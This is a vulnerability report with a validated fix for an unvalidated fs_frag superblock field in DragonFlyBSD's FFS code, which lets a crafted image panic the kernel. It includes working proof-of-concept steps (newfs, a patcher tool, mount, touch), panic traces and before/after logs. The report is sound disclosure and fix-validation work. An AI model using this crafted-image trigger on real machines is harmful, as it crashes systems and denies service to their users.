Unvalidated fs->fs_frag causes kernel panic and OOB array access in FFS bitmap/fragacct helpers
| Field | Value |
|---|---|
| ID | DF-0919 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-754 Improper Check for Unusual or Exceptional Conditions; CWE-787 Out-of-bounds Write (ffs_fragacct) |
| File | sys/vfs/ufs/ffs_subr.c |
| Lines | 195-306 |
| Area | vfs |
| Confidence | certain |
| Discovered | 2026-07-05 |
| Reported | pending |
| Known CVE | none |
| CVE match | novel |
Summary
The four block-bitmap primitives in sys/vfs/ufs/ffs_subr.c
(ffs_isblock, ffs_isfree_block, ffs_clrblock, ffs_setblock) and
ffs_fragacct all trust fs->fs_frag to be in {1,2,4,8}, but fs_frag is
read verbatim from the attacker-controlled on-disk superblock
(sys/vfs/ufs/fs.h:204, int32_t) and is never validated at mount time
(ffs_mountfs at ffs_vfsops.c:642-646 only checks fs_magic and
fs_bsize). The result is a guaranteed kernel panic on the first block
allocate/free after mounting a crafted image (reliable local DoS), and
genuine out-of-bounds memory accesses in ffs_fragacct for fs_frag > 8.
Root cause
fs->fs_frag is read directly from the untrusted superblock and used as:
-
The
switchdiscriminator inffs_isblock(ffs_subr.c:225),ffs_isfreeblock(ffs_subr.c:248),ffs_clrblock(ffs_subr.c:268),ffs_setblock(ffs_subr.c:292). Each falls through todefault: panic(...)(ffs_subr.c:238,258,282,306) for any value outside{1,2,4,8}. -
The primary index into the statically-sized
fragtbl[MAXFRAG+1]table atffs_subr.c:195(inblk = (int)(fragtbl[fs->fs_frag][fragmap]) << 1;) wherefragtblhas exactly 9 slots (ffs_tables.c:132) and entries{0,3,5,6,7}are NULL β sofs_fragin{0,3,5,6,7}NULL-dereferences,fs_frag<0or>8reads outside the table. -
The loop bound at
ffs_subr.c:197for (siz = 1; siz < fs->fs_frag; siz++)drivingaround[siz]/inside[siz]reads (ffs_subr.c:200-201, arrays are 9 elements,ffs_tables.c:40,43) andfraglist[siz] += cntwrites (ffs_subr.c:204,fraglistiscgp->cg_frsum[MAXFRAG] == cg_frsum[8],fs.h:364) β sofs_frag>8overflowscg_frsumintocg_btotoff/cg_boff/cg_iusedoff/cg_freeoff(fs.h:365-369), corrupting the very offsets used to locate every other cylinder-group map.
ffs_mountfs (ffs_vfsops.c:642-646) and ffs_reload (ffs_vfsops.c:484-488)
are the only superblock validators and neither checks fs_frag (confirmed:
grep -rn 'fs_frag' sys/vfs/ufs/ | grep -i 'compare\|==\|<\|>' returns no
validation site).
Threat model & preconditions
- Attacker position: Anyone who can cause a crafted FFS image to be
mounted β directly via
mount(2)(requires root/CAP_MOUNT) or, far more commonly, via auto-mounting of attacker-supplied removable media (USB) or loopback images by a privileged mount/automount daemon. The audit's filesystem-image threat model treats on-disk fields as malicious. - Privileges gained or impact: Reliable kernel panic (denial of service).
No memory-corruption primitive is claimed as the certain impact because the
fragtbl[]OOB read atffs_subr.c:195typically faults before thecg_frsumoverflow can corrupt subsequent state. - Required config or capabilities: Default kernel;
FFSis inGENERIC. Requires write access to the mounted filesystem (atouch/mkdiron a read-write mount is enough to reachffs_isblock). - Reachability:
mount -t ufs <crafted.img> /mnt && touch /mnt/boomβffs_alloccgβffs_alloccgblkβffs_isblock(ffs_alloc.c:1025-1026βffs_subr.c:225β238panic).
Proof of concept
PoC source: findings/poc/DF-0919/
Build & run
# 1. Build a valid FFS image on a DragonFlyBSD guest:
dd if=/dev/zero of=/tmp/evil.img bs=1m count=64
newfs /tmp/evil.img # default fs_bsize=16384, fs_frag=8
# 2. Patch the on-disk fs_frag field to a value not in {1,2,4,8}:
cc -o patch_frag patch_frag.c
./patch_frag /tmp/evil.img 3 # fs_frag := 3 -> default: panic
# 3. Mount read-write and create a file to trigger block allocation:
vnconfig -c vn0 /tmp/evil.img
mount -t ufs /dev/vn0 /mnt/x
touch /mnt/x/boom # kernel panics here
Expected output
panic: ffs_isblock cpuid = 0 Trace begins at ... ffs_isblock(c7c1a800,1800,...) at ffs_isblock+0x... (ffs_subr.c:238) ffs_alloccgblk(...) at ffs_alloccgblk+0x... ffs_alloccg(...) at ffs_alloccg+0x... ffs_alloc(...) at ffs_alloc+0x... ... Uptime: ... Dumping ...
For fs_frag=0 or values {3,5,6,7} the same touch may instead produce a
NULL-deref page fault in ffs_fragacct (ffs_subr.c:195) on a fragment-free
path. Either outcome is a successful DoS reproduction.
Impact
Reliable local denial of service from any crafted FFS image that an
automounter will accept. The bug is trivially reachable (single syscall after
mount) and the panic is deterministic on the first block-allocation/free call.
No privilege escalation is demonstrated; the OOB write in ffs_fragacct is
not reliably reachable because the OOB read on fragtbl[] faults first.
Recommended fix
Validate fs->fs_frag at mount time (the only point guaranteed to precede
all uses) and, as defense-in-depth, bound-check in ffs_fragacct.
Primary fix in ffs_vfsops.c, ffs_mountfs after the existing
magic/bsize check:
--- a/sys/vfs/ufs/ffs_vfsops.c
+++ b/sys/vfs/ufs/ffs_vfsops.c
@@ -643,6 +643,21 @@ ffs_mountfs(struct vnode *devvp, struct mount *mp, struct malloc_type *mtype)
error = EINVAL; /* XXX needs translation */
goto out;
}
+ /*
+ * fs_frag indexes fixed-size tables (fragtbl[], around[], inside[],
+ * cg_frsum[]) and is the switch discriminator of the block-bitmap
+ * helpers in ffs_subr.c. An out-of-range value otherwise panics
+ * the kernel on the first block alloc/free (DoS) and, for
+ * fs_frag > MAXFRAG, drives out-of-bounds writes in ffs_fragacct().
+ */
+ switch ((int)fs->fs_frag) {
+ case 1:
+ case 2:
+ case 4:
+ case 8:
+ break;
+ default:
+ error = EINVAL;
+ goto out;
+ }
fs->fs_fmod = 0;
Apply the identical switch to ffs_reload right after its magic/bsize check
(ffs_vfsops.c:484-488, return EIO on failure there, matching the
surrounding style).
Defense-in-depth in ffs_subr.c (ffs_fragacct), so a future caller or a
missed path cannot corrupt cg_frsum even if validation is bypassed:
--- a/sys/vfs/ufs/ffs_subr.c
+++ b/sys/vfs/ufs/ffs_subr.c
@@ -162,6 +162,12 @@ void
ffs_fragacct(struct fs *fs, int fragmap, int32_t fraglist[], int cnt)
{
int inblk;
int field, subfield;
int siz, pos;
+
+ /* The fragtbl/around/inside tables and cg_frsum[] are sized for
+ fs_frag in [1, MAXFRAG]; anything else is a corrupt superblock. */
+ if (fs->fs_frag <= 0 || fs->fs_frag > MAXFRAG)
+ return;
inblk = (int)(fragtbl[fs->fs_frag][fragmap]) << 1;
References
sys/vfs/ufs/fs.hβstruct fslayout,MAXFRAG,cg_frsum.sys/vfs/ufs/ffs_tables.cβ statically-sizedfragtbl[],around[],inside[].sys/vfs/ufs/ffs_vfsops.cβffs_mountfs/ffs_reloadsuperblock validation paths.sys/vfs/ufs/ffs_alloc.cβ callers of the bitmap primitives.
Timeline
- 2026-07-05 Discovered during automated audit.
- pending Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-0919 Β· 15 files| File | Type | Description | Size | |
|---|---|---|---|---|
| patch_frag.c | trigger-source | mmap-based patcher that rewrites fs->fs_frag at SBOFF+offsetof(struct fs, fs_frag) | 1.9 KB | view raw |
| build.sh | build-script | cc -O2 -o patch_frag patch_frag.c (against guest /usr/include/vfs/ufs/) | 306 B | view raw |
| run.sh | run-script | dd image -> newfs -> patch_frag <img> <frag> -> vnconfig -> mount -t ufs -> echo > file (triggers ffs_isblock) | 1.6 KB | view raw |
| README.md | readme | Original PoC narrative (retained) | 2.1 KB | β raw |
| VERDICT.md | verdict | Full mechanism, threat model, before/after fix evidence | 6.8 KB | β raw |
| panic.txt | panic-signature | fatal trap: panic: ffs_isblock at ffs_subr.c:238 with full backtrace | 616 B | view raw |
| boot.log.baseline | serial-log | Unpatched #0 boot log containing the panic | 2.2 KB | β download |
| boot.log.patched | serial-log | Patched #1 boot log: clean boot, no panic | 2.5 KB | β download |
| run.log | run-log | Baseline run: write -> panic | 139 B | view raw |
| fix_run.log | run-log | Patched-kernel run: mount rejected (EINVAL), no panic | 157 B | view raw |
| fix_build.log | build-log | Full single-fix kernel build (nativekernel) output, rc=0 | 5.6 MB | β download |
| fix.diff | suggested-fix | git-apply-able: validate fs_frag in {1,2,4,8} in ffs_mountfs and ffs_reload + bound-check in ffs_fragacct | 1.9 KB | view raw |
| env.txt | environment | uname, cc version, vfs.usermount, panic signature, kern.version | 1.0 KB | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-0919 β PoC: Unvalidated fs->fs_frag panic
Goal
Trigger a kernel panic by mounting a crafted FFS image whose superblock
fs_frag field is not in {1, 2, 4, 8}. The first block allocation after
mount hits default: panic("ffs_isblock"); at sys/vfs/ufs/ffs_subr.c:238.
Files
patch_frag.cβ small tool that mmaps the image and rewrites thefs->fs_fragfield at the on-disk superblock offset (SBOFF= 8192 bytes). The exact field offset is computed withoffsetof(struct fs, fs_frag)against a one-shot C compile ofsys/vfs/ufs/fs.h, so the patcher is robust to future struct layout drift.
Build & run (DragonFlyBSD guest)
# 1. Make a valid FFS image dd if=/dev/zero of=/tmp/evil.img bs=1m count=64 newfs /tmp/evil.img # default fs_bsize=16384, fs_frag=8 # 2. Patch the fs_frag field cc -I/path/to/sys -o patch_frag patch_frag.c # build against this tree's fs.h ./patch_frag /tmp/evil.img 3 # fs_frag := 3 -> default: panic # 3. Mount read-write and trigger a block allocation vnconfig -c vn0 /tmp/evil.img mkdir -p /mnt/x mount -t ufs /dev/vn0 /mnt/x touch /mnt/x/boom # PANIC: ffs_isblock (ffs_subr.c:238)
Expected output
panic: ffs_isblock cpuid = 0 Trace begins at ... ffs_isblock(...) at ffs_isblock+0x... (ffs_subr.c:238) ffs_alloccgblk(...) at ffs_alloccgblk+0x... ffs_alloccg(...) at ffs_alloccg+0x... ffs_alloc(...) at ffs_alloc+0x... ... Uptime: ... Dumping ...
For fs_frag = 0 or {3,5,6,7} (the NULL entries of fragtbl[]) the same
touch may instead produce a NULL-deref page fault in ffs_fragacct
(ffs_subr.c:195) on a fragment-free path. Either outcome is a successful
DoS reproduction.
Notes
- The certain, claimed impact is a reliable local denial of service
(kernel panic). No memory-corruption or privilege-escalation primitive is
claimed, because the OOB read on
fragtbl[]typically faults before the speculative OOB write oncg_frsumcan corrupt subsequent state. - A read-only mount avoids the bug; the trigger requires a writable mount so
that the first
ffs_alloccg*block allocation actually runs.
DF-0919 β Verdict
Verdict: REPRODUCED β FIX VALIDATED
status = reproduced, impact = panic (reliable local DoS via a crafted FFS
image), confidence = certain. No memory-corruption primitive was reached;
the certain impact is a deterministic kernel panic. The authored fix.diff
was built into a single-fix kernel and closes the bug: the same PoC that
panics the unpatched #0 baseline cleanly rejects the crafted image
(EINVAL / "incorrect super block") on the patched #1 kernel, with no
panic. Valid fs_frag=8 images still mount and write correctly.
Mechanism (confirmed by trace)
- Trigger: a 64 MB FFS image is created with
newfs(defaultfs_bsize=16384,fs_frag=8);patch_fragrewrites the on-diskfs->fs_fragfield at offsetSBOFF + offsetof(struct fs, fs_frag)(SBOFF = BBSIZE = 8192,sys/vfs/ufs/fs.h:60,63,204) to a value outside{1,2,4,8}(e.g.3).dumpfsconfirms the on-disk value:frag 3. - Mount succeeds despite the corrupt
fs_frag:ffs_mountfs(sys/vfs/ufs/ffs_vfsops.c:642-646) only validatesfs_magic,fs_bsize > MAXBSIZE, andfs_bsize < sizeof(struct fs). Nofs_fragvalidation is present anywhere on the mount path. - Block allocation panics: writing to a file on the mounted image
drives
ffs_allocβffs_hashallocβffs_alloccgβffs_alloccgblkβffs_isblock(sys/vfs/ufs/ffs_subr.c:220). Theswitch ((int)fs->fs_frag)atffs_subr.c:225falls through todefault: panic("ffs_isblock");atffs_subr.c:238. Identicaldefault: panic(...)arms exist inffs_isfreeblock(:258),ffs_clrblock(:282), andffs_setblock(:306).
Captured serial-panic signature (findings/poc/DF-0919/panic.txt,
boot.log.baseline):
panic: ffs_isblock
cpuid = 5
Trace beginning at frame 0xfffff80117ba4268
ffs_isblock() at ffs_isblock+0x94 0xffffffff80910084
ffs_alloccgblk.isra.1() at ffs_alloccgblk.isra.1+0x1be 0xffffffff809035be
ffs_alloccg() at ffs_alloccg+0x2af 0xffffffff80903f0f
ffs_hashalloc() at ffs_hashalloc+0x3c 0xffffffff8090231c
ffs_alloc() at ffs_alloc+0x6f 0xffffffff8090406f
Debugger("panic")
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
This matches the finding's predicted trace exactly.
Threat model & impact ceiling
- Trigger surface: anyone who can cause a crafted FFS image to be
mounted (root via
mount(2), or β far more commonly β an auto-mount / removable-media daemon that mounts attacker-supplied images).vfs.usermount=0on this guest, so the PoC runs as root; the threat is the mount-time parsing of attacker-controlled on-disk fields, not the privileges of the entity issuingmount. - Certain impact: deterministic kernel panic on the first block allocate/free after mount. Reliable local DoS.
- Speculative OOB: the finding also hypothesizes an OOB write in
ffs_fragacct(ffs_subr.c:204fraglist[siz] += cnt,cg_frsum[MAXFRAG]=cg_frsum[8],sys/vfs/ufs/fs.h:364) whenfs_frag > MAXFRAG. We did not demonstrate the OOB write as the certain impact: the realistic alloc path (ffs_isblockpanic) faults first, before any fragment-accounting path runs. So the certain impact stayspanic. The defense-in-depth bound-check infix.diff(ffs_subr.c::ffs_fragacct) closes the hypothetical write path anyway, since it is cheap and correct.
No privilege escalation is claimed, demonstrated, or pursued: the
primitive is a kernel panic(), not a write.
PoC changes
findings/poc/DF-0919/patch_frag.c needed two compile fixes against
the DragonFly 6.5-DEVELOPMENT guest:
- The include path is
<vfs/ufs/fs.h>on DragonFly, not<ufs/fs.h>(FreeBSD). Added a__DragonFly__switch and included<vfs/ufs/ufs_types.h>to resolveufs_daddr_t/ufs_time_ttypedefs used bystruct fs. - Added
<sys/param.h>and<sys/types.h>includes, and dropped the#define SBOFFin favour of the header's own definition.
The original README.md procedural PoC (newfs / vnconfig / mount /
touch) is retained and re-implemented as the self-contained
run.sh driver (which dds the image, patches fs_frag, mounts,
and triggers a block allocation with echo). build.sh builds
patch_frag against the guest's installed kernel headers.
Fix validation (Phase 8)
Authored findings/poc/DF-0919/fix.diff β a standalone,
git apply-able diff with three hunks:
ffs_vfsops.c::ffs_mountfs(after the magic/bsize check at:642-646): aswitch ((int)fs->fs_frag)over{1,2,4,8}, defaulting toerror = EINVAL; goto out;.ffs_vfsops.c::ffs_reload(after:484-488): the same switch, returningEIOon failure to match the surrounding style.ffs_subr.c::ffs_fragacct(after:167): a defense-in-depthif (fs->fs_frag <= 0 || fs->fs_frag > MAXFRAG) return;so a future caller / missed path cannot drive the OOB table access.
git apply --check passes. Patch applied cleanly to the in-guest
/usr/src (patch -p1 --forward); both ffs_subr.o and
ffs_vfsops.o compiled cleanly; full make -j6 nativekernel
KERNCONF=X86_64_GENERIC finished rc=0. make installkernel
INSTALLSTRIPPED=1 NOFSCHG=1 installed /boot/kernel/kernel,
which booted cleanly:
DragonFly 6.5-DEVELOPMENT #1: Sun Jul 12 04:58:49 UTC 2026
root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC
sha256 /boot/kernel/kernel = 221c5e572e8294229bfca099a15a3b694326141691e394b89d6272f02e753b4f
Before / after on the SAME PoC command (run.sh 3)
| Kernel | Behaviour |
|---|---|
#0 baseline (unpatched, with-src) |
mount succeeds; echo hello > /mnt/df0919/data β panic: ffs_isblock (ffs_subr.c:238); ssh dies, guest enters DDB |
#1 patched (single-fix kernel) |
mount -t ufs /dev/vn0 /mnt/df0919 β mount_ufs: ...: incorrect super block (EINVAL from the new switch); no panic; guest stays up |
Robustness sweep on the patched kernel (all from a fresh image):
- fs_frag = 0 β mount rejected, no panic
- fs_frag = 3 β mount rejected, no panic
- fs_frag = 16 β mount rejected, no panic
- fs_frag = 8 (valid default) β mount succeeds, echo writes 12
bytes, file readable, no panic (no false-positive regression)
fix_status = fixed.
Notes / next steps
- The fix matches the finding's
## Recommended fixproposal (mount-timeswitch+ffs_fragacctbound-check), extended to also coverffs_reload(the other superblock validator). - The
default: panic(...)arms inffs_isblock/ffs_isfreeblock/ffs_clrblock/ffs_setblock(ffs_subr.c:238/258/282/306) are retained β they are the right backstop for an in-kernel caller that bypasses mount. The fix's contract is "the mount path rejects corruptfs_fragso we never reach the panic". - Guest reset to
with-src(unpatched baseline) at the end of the run.
Fix verification
fixedVALIDATED the fix: ./run.sh 3 panics on the unpatched 6.5-DEVELOPMENT #0 with-src baseline (panic: ffs_isblock at ffs_subr.c:238) and does NOT panic on the single-fix #1 kernel -- mount is now rejected with EINVAL ('mount_ufs: ...: incorrect super block'). Robustness sweep on the patched kernel: fs_frag=0/3/16 all rejected, no panic; fs_frag=8 (valid default) mounts and writes correctly (12 bytes), confirming no false-positive regression. The fix closes the bug.
BASELINE (#0, ./run.sh 3): panic: ffs_isblock at ffs_subr.c:238 (ssh dies, guest enters DDB). PATCHED (#1, ./run.sh 3): mount_ufs: /dev/vn0 on /mnt/df0919: incorrect super block / MOUNT_FAILED (rc=1) / guest stays up. PATCHED (#1, ./run.sh 8 valid): mount succeeds, 'echo hello > /mnt/df0919/data' writes 12 bytes, no panic (no regression).
Confirmed kernel references
- sys/vfs/ufs/ffs_subr.c:225
- sys/vfs/ufs/ffs_subr.c:238
- sys/vfs/ufs/ffs_subr.c:195
- sys/vfs/ufs/ffs_subr.c:204
- sys/vfs/ufs/ffs_vfsops.c:642
- sys/vfs/ufs/ffs_vfsops.c:644
- sys/vfs/ufs/ffs_vfsops.c:484
- sys/vfs/ufs/ffs_vfsops.c:487
- sys/vfs/ufs/fs.h:60
- sys/vfs/ufs/fs.h:63
- sys/vfs/ufs/fs.h:204
- sys/vfs/ufs/fs.h:364
- sys/vfs/ufs/ffs_tables.c:40
- sys/vfs/ufs/ffs_tables.c:43
- sys/vfs/ufs/ffs_tables.c:132
Detail
Exploit chain
none (no memory-corruption primitive reached). The primitive is a kernel panic("ffs_isblock") at ffs_subr.c:238, not a write. The hypothetical OOB write in ffs_fragacct (ffs_subr.c:204 fraglist[siz] += cnt overflowing cg_frsum[MAXFRAG]) was not demonstrated because the realistic allocation path through ffs_isblock panics before any fragment-accounting path runs; the finding itself rates the OOB write as speculative and the certain impact as DoS. No escalation was pursued because there is no write primitive to convert. The fix.diff's bound-check in ffs_fragacct closes the speculative write path as defense-in-depth.
Evidence (decisive lines)
BASELINE (#0 unpatched, ./run.sh 3):
old fs_frag = 8
new fs_frag = 3
+ mount -t ufs /dev/vn0 /mnt/df0919
+ echo hello > /mnt/df0919/data (triggers ffs_alloccg -> ffs_isblock)
[ssh dies]
--- boot.log.baseline ---
panic: ffs_isblock
cpuid = 5
ffs_isblock() at ffs_isblock+0x94 0xffffffff80910084
ffs_alloccgblk.isra.1() at ffs_alloccgblk.isra.1+0x1be 0xffffffff809035be
ffs_alloccg() at ffs_alloccg+0x2af 0xffffffff80903f0f
ffs_hashalloc() at ffs_hashalloc+0x3c 0xffffffff8090231c
ffs_alloc() at ffs_alloc+0x6f 0xffffffff8090406f
Debugger("panic")
PATCHED (#1 single-fix kernel, ./run.sh 3):
old fs_frag = 8
new fs_frag = 3
+ mount -t ufs /dev/vn0 /mnt/df0919
mount_ufs: /dev/vn0 on /mnt/df0919: incorrect super block
MOUNT_FAILED (rc=1)
[guest stays up]
PoC changes
findings/poc/DF-0919/patch_frag.c: fixed include path (
Verified recommended fix
Validate fs->fs_frag in {1,2,4,8} at ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:644, after the magic/bsize check; error=EINVAL goto out) and at ffs_reload (ffs_vfsops.c:487, return EIO), plus a defense-in-depth bound-check (fs->fs_frag <= 0 || > MAXFRAG) returning early in ffs_fragacct (sys/vfs/ufs/ffs_subr.c:167). Built, installed, and validated. matches finding proposal (the finding's ## Recommended fix proposed the same ffs_mountfs switch and ffs_fragacct bound-check; the verified fix extends the same pattern to ffs_reload, the other superblock validator).
Verdict
REPRODUCED + FIX VALIDATED. The bug is real and deterministic: a crafted FFS image whose superblock fs->fs_frag is outside {1,2,4,8} is accepted by ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:642-646 only checks fs_magic/fs_bsize), and the first block allocation after mount drives ffs_isblock -> switch default -> panic("ffs_isblock") at sys/vfs/ufs/ffs_subr.c:238. Confirmed by exact panic signature captured in dfbsd-qemu/boot.log: 'panic: ffs_isblock ... ffs_isblock() at ffs_isblock+0x94 ... ffs_alloccgblk.isra.1 ... ffs_alloccg ... ffs_hashalloc ... ffs_alloc'. No memory-corruption primitive was reached as the certain impact: the realistic alloc path panics before the hypothetical OOB write in ffs_fragacct can corrupt state, so the certain impact is reliable local DoS (panic). Mount-time image-parsing threat model (privileged mount/automount daemon accepts attacker-supplied image); PoC runs as root since vfs.usermount=0 on this guest. The authored fix.diff validates fs_frag in {1,2,4,8} at both ffs_mountfs and ffs_reload plus a defense-in-depth bound-check in ffs_fragacct; built into a single-fix #1 kernel and proven to close the bug (mount now returns EINVAL 'incorrect super block', no panic) while still mounting and writing valid fs_frag=8 images.
No comments yet.